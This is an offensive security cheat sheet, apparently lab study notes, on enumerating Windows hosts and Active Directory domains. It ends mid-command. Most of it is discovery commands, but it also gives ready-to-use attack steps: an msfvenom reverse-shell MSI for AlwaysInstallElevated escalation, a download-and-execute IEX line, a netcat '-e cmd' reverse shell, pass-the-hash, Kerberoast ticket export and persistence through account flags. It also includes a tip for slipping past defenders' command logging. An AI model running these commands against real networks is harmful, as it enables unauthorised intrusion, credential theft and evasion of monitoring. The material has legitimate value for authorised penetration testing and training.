# Enumeration

## Passive Network Enumeration

```bash
#Use Wireshark to captire either ARP or MDNS traffic (GUI)
Intrusionz3r0X@htb[/htb]$ sudo -E wireshark

#Use tcpdump to capture trafic
Intrusionz3r0X@htb[/htb]$ sudo tcpdump -i ens224 -w capture.pcap

#Read the capture.pcap and filter by IP
Intrusionz3r0X@htb[/htb]$ tshark -r capture.pcap -Y "arp" | grep -oP "\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}" | sort -u

#Analyze traffic by using responder (no poisoning)
Intrusionz3r0X@htb[/htb]$ sudo responder -I ens224 -A 
```

## Active Network Enumeration

```bash
#Host Discovery
Intrusionz3r0X@htb[/htb]$ fping -asgq <range>
Intrusionz3r0X@htb[/htb]$ nmap -sn -n <range>

#Host Discovery
C:\>  for /L %i in (1 1 254) do ping 172.16.5.%i -n 1 -w 100 | find "Reply"
PS C:\> 1..254 | % {"172.16.5.$($_): $(Test-Connection -count 1 -comp 172.15.5.$($_) -quiet)"}

#DNS enumeration
Intrusionz3r0X@htb[/crto]$ dig cyberbotic.io
Intrusionz3r0X@htb[/crto]$ whois 172.67.205.143
Intrusionz3r0X@htb[/crto]$ ./dnscan.py -d cyberbotic.io -w subdomains-100.txt
```

## Default Writeable Folders <a href="#default-writeable-folders" id="default-writeable-folders"></a>

```powershell
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\drivers\color
C:\Windows\System32\spool\printers
C:\Windows\System32\spool\servers
C:\Windows\tracing
C:\Windows\Temp
C:\Users\Public
C:\Windows\Tasks
C:\Windows\System32\tasks
C:\Windows\SysWOW64\tasks
C:\Windows\System32\tasks_migrated\microsoft\windows\pls\system
C:\Windows\SysWOW64\tasks\microsoft\windows\pls\system
C:\Windows\debug\wia
C:\Windows\registration\crmlog
C:\Windows\System32\com\dmp
C:\Windows\SysWOW64\com\dmp
C:\Windows\System32\fxstmp
C:\Windows\SysWOW64\fxstmp
```

## SMB

<pre class="language-bash"><code class="lang-bash">#Enumeration using enum4linux-ng
Intrusionz3r0X@htb[/htb]$ enum4linux-ng 10.10.11.45 -A -C

#SMBMAP
Intrusionz3r0X@htb[/htb]$ smbmap -H 10.129.14.128
Intrusionz3r0X@htb[/htb]$ smbmap -r -H x.x.x.x -u "null"
Intrusionz3r0X@htb[/htb]$ smbmap -H 10.129.14.128 -r &#x3C;resource>
Intrusionz3r0X@htb[/htb]$ smbmap -H 10.129.14.128 --download "notes\\note.txt"
Intrusionz3r0X@htb[/htb]$ smbmap -H 10.129.14.128 --upload test.txt "notes\\test.txt"
Intrusionz3r0X@htb[/htb]$ smbmap -u "username" -p "&#x3C;NT>:&#x3C;LM>" -H &#x3C;IP> [-P &#x3C;PORT>] #Pass-the-Hash

#SMBClient
Intrusionz3r0X@htb[/htb]$ smbclient -N -L //10.129.14.128
intrusionz3r0@htb:~$ smbclient -L x.x.x.x -U "null" -N
Intrusionz3r0X@htb[/htb]$ smbclient //10.129.14.128/notes

#Auth by kerberos
<strong>Intrusionz3r0X@htb[/htb]$ export KRB5CCNAME=&#x3C;user>.ccache
</strong>Intrusionz3r0X@htb[/htb]$ impacket-smbclient &#x3C;domain>/&#x3C;username>:&#x3C;password> -k

#Download recursive mode
smb: \\Path\\to\\folder\\> prompt off
smb: \\Path\\to\\folder\\> recurse true
smb: \\Path\\to\\folder\\> mget &#x3C;folder>
</code></pre>

### **Mount shared folder on Windows**

```bash
#Mount shared folder
C:\\htb> net use n: \\\\192.168.220.129\\Finance #/user:plaintext Password123
PS C:\\htb> New-PSDrive -Name "N" -Root "\\\\192.168.220.129\\Finance" -PSProvider "FileSystem"

#Mount SMB with creds
PS C:\\htb> $username = 'intrusionz3r0'
PS C:\\htb> $password = 'Password123'
PS C:\\htb> $secpassword = ConvertTo-SecureString $password -AsPlainText -Force
PS C:\\htb> $cred = New-Object System.Management.Automation.PSCredential $username, $secpassword
PS C:\\htb> New-PSDrive -Name "N" -Root "\\\\192.168.220.129\\Finance" -PSProvider "FileSystem" -Credential $cre
```

### **Mount shared folder on Linux**

```bash
#sudo apt install cifs-utils.
Intrusionz3r0X@htb[/htb]$ sudo mkdir /mnt/Finance
Intrusionz3r0X@htb[/htb]$ sudo mount -t cifs -o username=plaintext,password=Password123,domain=. //192.168.220.129/Finance /mnt/Finance
#intrusionz3r0@kali:~$ mount -t cifs //x.x.x.x/RECURSO /mnt/HTB/FOLDER -o username=USER,password=PASS,rw
Intrusionz3r0X@htb[/htb]$ mount -t cifs //192.168.220.129/Finance /mnt/Finance -o credentials=/path/credentialfile
**CredentialFile:**
username=plaintext
password=Password123
domain=.
```

### **Manual SMB Enumeration**

```bash
#List shared Folder
C:\\htb> dir \\\\192.168.220.129\\Finance\\
PS C:\\htb> Get-ChildItem \\\\192.168.220.129\\Finance\\

#Search for a specific word in the filename.
C:\\htb>dir n:\\*cred* /s /b
C:\\htb>dir n:\\*secret* /s /b
PS C:\\htb> Get-ChildItem -Recurse -Path N:\\ -Include *cred* -File
Intrusionz3r0X@htb[/htb]$ find /mnt/Finance/ -name *cred*

#Search for a specific word within the content of the files.
c:\\htb> findstr /s /i cred n:\\*.*
PS C:\\htb> Get-ChildItem -Recurse -Path N:\\ | Select-String "cred" -List
Intrusionz3r0X@htb[/htb]$ grep -rn /mnt/Finance/ -ie cred

```

### Create SMB Share on Windows from Commandline <a href="#create-smb-share-on-windows-from-commandline" id="create-smb-share-on-windows-from-commandline"></a>

```powershell
mkdir C:\temp
net share temp=C:\temp /grant:everyone,full
```

## RPCClient

```bash
Intrusionz3r0X@htb[/htb]$ for i in $(seq 500 1100);do rpcclient -N -U "" 10.129.14.128 -c "queryuser 0x$(printf '%x\\n' $i)" | grep "User Name\\|user_rid\\|group_rid" && echo "";done
Intrusionz3r0X@htb[/htb]$ samrdump.py 10.129.14.128
```

| **Query**                 | **Description**                                                    |
| ------------------------- | ------------------------------------------------------------------ |
| `srvinfo`                 | Server information.                                                |
| `enumdomains`             | Enumerate all domains that are deployed in the network.            |
| `querydominfo`            | Provides domain, server, and user information of deployed domains. |
| `netshareenumall`         | Enumerates all available shares.                                   |
| `netsharegetinfo <share>` | Provides information about a specific share.                       |
| `enumdomusers`            | Enumerates all domain users.                                       |
| `queryuser <RID>`         | Provides information about a specific user.                        |
| `querygroup <RID>`        | Provides information about a specific group.                       |

## **Monitoring for Process On windows**

```bash
PS C:\\htb> IEX (iwr '<http://10.10.10.205/procmon.ps1>') 

while($true)
{

  $process = Get-WmiObject Win32_Process | Select-Object CommandLine
  Start-Sleep 1
  $process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
  Compare-Object -ReferenceObject $process -DifferenceObject $process2

}
```

## List installed programs

```powershell
PS C:\\htb> $INSTALLED = Get-ItemProperty HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\* |  Select-Object DisplayName, DisplayVersion, InstallLocation
PS C:\\htb> $INSTALLED += Get-ItemProperty HKLM:\\Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\* | Select-Object DisplayName, DisplayVersion, InstallLocation
PS C:\\htb> $INSTALLED | ?{ $_.DisplayName -ne $null } | sort-object -Property DisplayName -Unique | Format-Table -AutoSize
```

## Am I Alone?

```bash
PS C:\\htb> qwinsta
```

## **Always Install Elevated**

```powershell
#Enumerating Always Install Elevated Settings
PS C:\\htb> reg query HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Windows\\Installer
PS C:\\htb> reg query HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer
#Generating MSI Package
Intrusionz3r0@htb[/htb]$ msfvenom -p windows/shell_reverse_tcp lhost=10.10.14.3 lport=9443 -f msi > aie.msi
#Executng MSI
C:\\htb> msiexec /i c:\\users\\htb-student\\desktop\\aie.msi /quiet /qn /norestart
```

## Enumerate Remote Privilege Access

```powershell
#Check Remote Desktop acesss
PS C:\\htb> Get-NetLocalGroupMember -ComputerName ACADEMY-EA-MS01 -GroupName "Remote Desktop Users"

#Check PSRemote access (winrm)
PS C:\\htb> Get-NetLocalGroupMember -ComputerName ACADEMY-EA-MS01 -GroupName "Remote Management Users"
Bloodhound query: `MATCH p1=shortestPath((u1:User)-[r1:MemberOf*1..]->(g1:Group)) MATCH p2=(u1)-[:CanPSRemote*1..]->(c:Computer) RETURN p2`


#SQL Server Admin remote access
Bloodhound Query: `MATCH p1=shortestPath((u1:User)-[r1:MemberOf*1..]->(g1:Group)) MATCH p2=(u1)-[:SQLAdmin*1..]->(c:Computer) RETURN p2`
```

## Authentication

```powershell
#PSExec
impacket-psexec inlanefreight.local/wley:'transporter@4'@172.16.5.125
#Windows Management Instrumentation (more stealthy approach)
impacket-wmiexec inlanefreight.local/wley:'transporter@4'@172.16.5.5

#Impersonate user
$user = '<domain>\\<user>'
$password = ConvertTo-SecureString '<password>' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($user,$password)
Invoke-Command -ComputerName '<computer-name>' -Credential $Cred -ScriptBlock { C:\\Temp\\netcat.exe -e cmd <ip> <port>}

```

## Network Information

<pre class="language-sh"><code class="lang-sh">#Lists all known hosts stored in the arp table.
PS C:\> arp -a

#Prints out adapter settings for the host.
<strong>PS C:\> ipconfig /all
</strong>
#Displays the routing table (IPv4 &#x26; IPv6) identifying known networks and layer three routes shared with the host.
PS C:\> route print

#Displays the status of the host's firewall. We can determine if it is active and filtering traffic.
PS C:\> netsh advfirewall show state
</code></pre>

## Windows Managment Instrumentation WMI

<pre class="language-sh"><code class="lang-sh">#Prints the patch level and description of the Hotfixes applied
<strong>PS C:\> wmic qfe get Caption,Description,HotFixID,InstalledOn
</strong>
#Displays basic host information
PS C:\> wmic computersystem get Name,Domain,Manufacturer,Model,Username,Roles /format:List

#A listing of all processes on host
<strong>PS C:\> wmic process list /format:list
</strong>
#Displays information about the Domain and Domain Controllers
PS C:\> wmic ntdomain list /format:list

#Displays information about all local accounts
PS C:\> wmic useraccount list /format:list

#Information about all local groups
PS C:\> wmic group list /format:list

#Dumps information about any system accounts that are being used as service accounts.
PS C:\> wmic sysaccount list /format:list
</code></pre>

**Additional useful commands:** [**xorrior**](https://gist.github.com/xorrior/67ee741af08cb1fc86511047550cdaf4)

## **Net Commands**

{% hint style="info" %}

#### **Net Commands Trick**

If you believe the network defenders are actively logging/looking for any commands out of the normal, you can try this workaround to using net commands. Typing `net1` instead of `net` will execute the same functions without the potential trigger from the net string.
{% endhint %}

```powershell
#Information about password requirements
PS C:\> net accounts

#Password and lockout policy
PS C:\> net accounts /domain

#Information about domain groups
PS C:\> net group /domain

#List users with domain admin privileges
PS C:\> net group "Domain Admins" /domain

#List of PCs connected to the domain
PS C:\> net group "domain computers" /domain

#List PC accounts of domain controllers
PS C:\> net group "Domain Controllers" /domain

#User that belongs to the group
PS C:\> net group <domain_group_name> /domain

#List of domain groups
PS C:\> net groups /domain

#All available groups
PS C:\> net localgroup

#List users that belong to the administrators group inside the domain (the group Domain Admins is included here by default)
PS C:\> net localgroup administrators /domain

#Information about a group (admins)
PS C:\> net localgroup administrators

#Add user to administrators
PS C:\> net localgroup administrators [username] /add

#Check current shares
PS C:\> net share

#Get information about a user within the domain
PS C:\> net user <ACCOUNT_NAME> /domain

#List all users of the domain
PS C:\> net user /domain

#Information about the current user
PS C:\> net user %username%

#Mount the share locally
PS C:\> net use X: \\computer\share

#Get a list of computers
PS C:\> net view

#Shares on the domains
PS C:\> net view /all /domain[:domainname]

#List shares of a computer
PS C:\> net view \\computer /ALL

#List of PCs of the domain
PS C:\> net view /domain
```

## PowerShell CMDLED

```bash
#Discover Modules
PS C:\\htb> Get-Module

#Load AD module
PS C:\\htb> Import-Module ActiveDirectory

#Get Domain Info
PS C:\\htb> Get-ADDomain

#Checking for trust relationships
PS C:\\htb> Get-ADTrust -Filter *

#Get-ADUser listing of accounts that may be susceptible to a Kerberoasting attack
PS C:\\htb> Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName

#Group enumeration,detailed information
PS C:\\htb> Get-ADGroup -Filter * | select name
PS C:\\htb> Get-ADGroup -Identity "Backup Operators"
#List the group members
PS C:\\htb> Get-ADGroupMember -Identity "Backup Operators"

#Testing for Local Admin Access with the current user
PS C:\\htb> Test-AdminAccess -ComputerName ACADEMY-EA-MS01
```

## Tools

### Bloodhound

{% hint style="info" %}
Check them out

1. **first degree object control**
2. **Group delegated object** **control** items.
   {% endhint %}

```powershell
#Executing bloodhound On Linux
Intrusionz3r0X@htb[/htb]$ sudo bloodhound-python -u 'forend' -p 'Klmcargo2' -ns 172.16.5.5 -d inlanefreight.local -c all
Intrusionz3r0X@htb[/htb]$ zip -r ilfreight_bh.zip *.json
Intrusionz3r0X@htb[/htb]$ sudo neo4j start
Intrusionz3r0X@htb[/htb]$ bloodhound

#Execute bloodhound against a specific domain
Intrusionz3r0X@htb[/htb]$ bloodhound-python -d INLANEFREIGHT.LOCAL -dc ACADEMY-EA-DC01 -c All -u forend -p Klmcargo2

sudo neo4j console

#Executin bloodhound On Windows
PS C:\\htb> .\\SharpHound.exe -c All --zipfilename ILFREIGHT
Type bloodhound into a CMD or PowerShell console
```

#### **Bloodhound Community Edition**

```sh
sudo apt-get install docker-compose -y
sudo mkdir /opt/bloodhound
cd /opt/bloodhound 
sudo wget https://github.com/SpecterOps/bloodhound-cli/releases/latest/download/bloodhound-cli-linux-amd64.tar.gz 
sudo tar -xzf ./bloodhound-cli-linux-amd64.tar.gz 
sudo rm bloodhound-cli-linux-amd64.tar.gz
sudo ./bloodhound-cli install

sudo ./bloodhound-cli containers stop #This will stop our containers
sudo ./bloodhound-cli containers start #This will start our containers
```

**Adding INLANEFREIGHT.LOCAL Information to /etc/resolv.conf**

```powershell
Intrusionz3r0X@htb[/htb]$ cat /etc/resolv.conf 

# Dynamic resolv.conf(5) file for glibc resolver(3) generated by resolvconf(8)
#     DO NOT EDIT THIS FILE BY HAND -- YOUR CHANGES WILL BE OVERWRITTEN
# 127.0.0.53 is the systemd-resolved stub resolver.
# run "resolvectl status" to see details about the actual nameservers.

#nameserver 1.1.1.1
#nameserver 8.8.8.8
domain INLANEFREIGHT.LOCAL
nameserver 172.16.5.5
```

{% embed url="<https://hausec.com/2019/09/09/bloodhound-cypher-cheatsheet/>" %}

### Powerview

#### **Users**

```powershell
#Get info about a user
PS C:\\htb> Get-NetUser -UserName student107 
#List All Users
PS Get-NetUser | select samaccountname, description, pwdlastset, logoncount, badpwdcount 
#All disabled users
Get-NetUser -UACFilter ACCOUNTDISABLE 
#Domain admins kerberostable
Get-NetUser -SPN | ?{$_.memberof -match 'Domain Admins'} 
```

#### Groups

```powershell
PS C:\\htb> Get-NetGroup #Get groups
PS C:\\htb> Get-NetGroup -Domain mydomain.local #Get groups of an specific domain
PS C:\\htb> Get-NetGroup 'Domain Admins' #Get all data of a group
PS C:\\htb> Get-NetGroup -UserName "myusername" #Get groups of a user

Get-NetGroupMember -Identity "Administrators" -Recurse #Get users inside "Administrators" group. If there are groups inside of this grup, the -Recurse option will print the users inside the others groups also
Get-NetGroupMember -Identity "Enterprise Admins" -Domain mydomain.local #Remember that "Enterprise Admins" group only exists in the rootdomain of the forest
Get-NetLocalGroup -ComputerName dc.mydomain.local -ListGroups #Get Local groups of a machine (you need admin rights in no DC hosts)

# Recursive Group Membership to know who to target for potential elevation of privileges.
PS C:\\htb> Get-DomainGroupMember -Identity "Domain Admins" -Recurse
```

**Computers**

```powershell
Get-DomainComputer -Properties DnsHostName # Get all domain maes of computers
Get-NetComputer #Get all computer objects
Get-NetComputer -TrustedToAuth #Find computers with Constrined Delegation
```

#### Logon and Session

```powershell
Get-NetSession -ComputerName <servername> #Get active sessions on the host
Get-NetRDPSession -ComputerName <servername> #List RDP sessions inside a host (needs admin rights in host)
```

#### Retrieved Domain SID

```powershell
(Get-ADDomain)
```

#### Powerfull Powerview Commands

```powershell
# Recursive Group Membership to know who to target for potential elevation of privileges.
PS C:\\htb>  Get-DomainGroupMember -Identity "Domain Admins" -Recurse

#ASREPRoastable users
PS C:\\htb>  Get-DomainUser -PreauthNotRequired | select samaccountname,userprincipalname,useraccountcontrol | fl

#Kerberoastable users
PS C:\\htb> Get-NetUser -SPN | select samaccountname,userprincipalname,useraccountcontrol | fl
PS C:\\DotNetNuke\\Portals\\0> Get-DomainUser * -SPN -verbose |  Get-DomainSPNTicket -Format Hashcat | Export-Csv .\\ilfreight_spns.csv -NoTypeInformation

# Users with PASSWD_NOTREQD set in the userAccountControl means that the user is not subject to the current password policy
# Users with this flag might have empty passwords (if allowed) or shorter passwords
Get-DomainUser -UACFilter PASSWD_NOTREQD | Select-Object samaccountname,useraccountcontrol

#Persistence
#Asreproast
Set-DomainObject -Identity <username> -XOR @{useraccountcontrol=4194304} -Verbose
Get-ADUser Jorden | Set-ADAccountControl -doesnotrequirepreauth $true
#Kerberosting
Set-DomainObject -Identity <username> -Set @{serviceprincipalname='just/whateverUn1Que'} -verbose 
Get-ADUser -Filter 'Name -like "Jorden"' | Set-ADAccountControl -doesnotrequirepreauth $false

#Finding Passwords in the Description Field using Get-Domain User
Get-DomainUser * | Select-Object samaccountname, userprincipalname, useraccountcongtrol, description | Where-Object {$_.Description -ne $null} | fl
 
#All disabled users
Get-NetUser -UACFilter ACCOUNTDISABLE 

#Retrieve *most* users who can perform DC replication for inlanefreight.local (i.e. DCsync)
Get-ObjectAcl "dc=dc=inlanefreight,dc=local" -ResolveGUIDs | ? {
    ($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll'
```
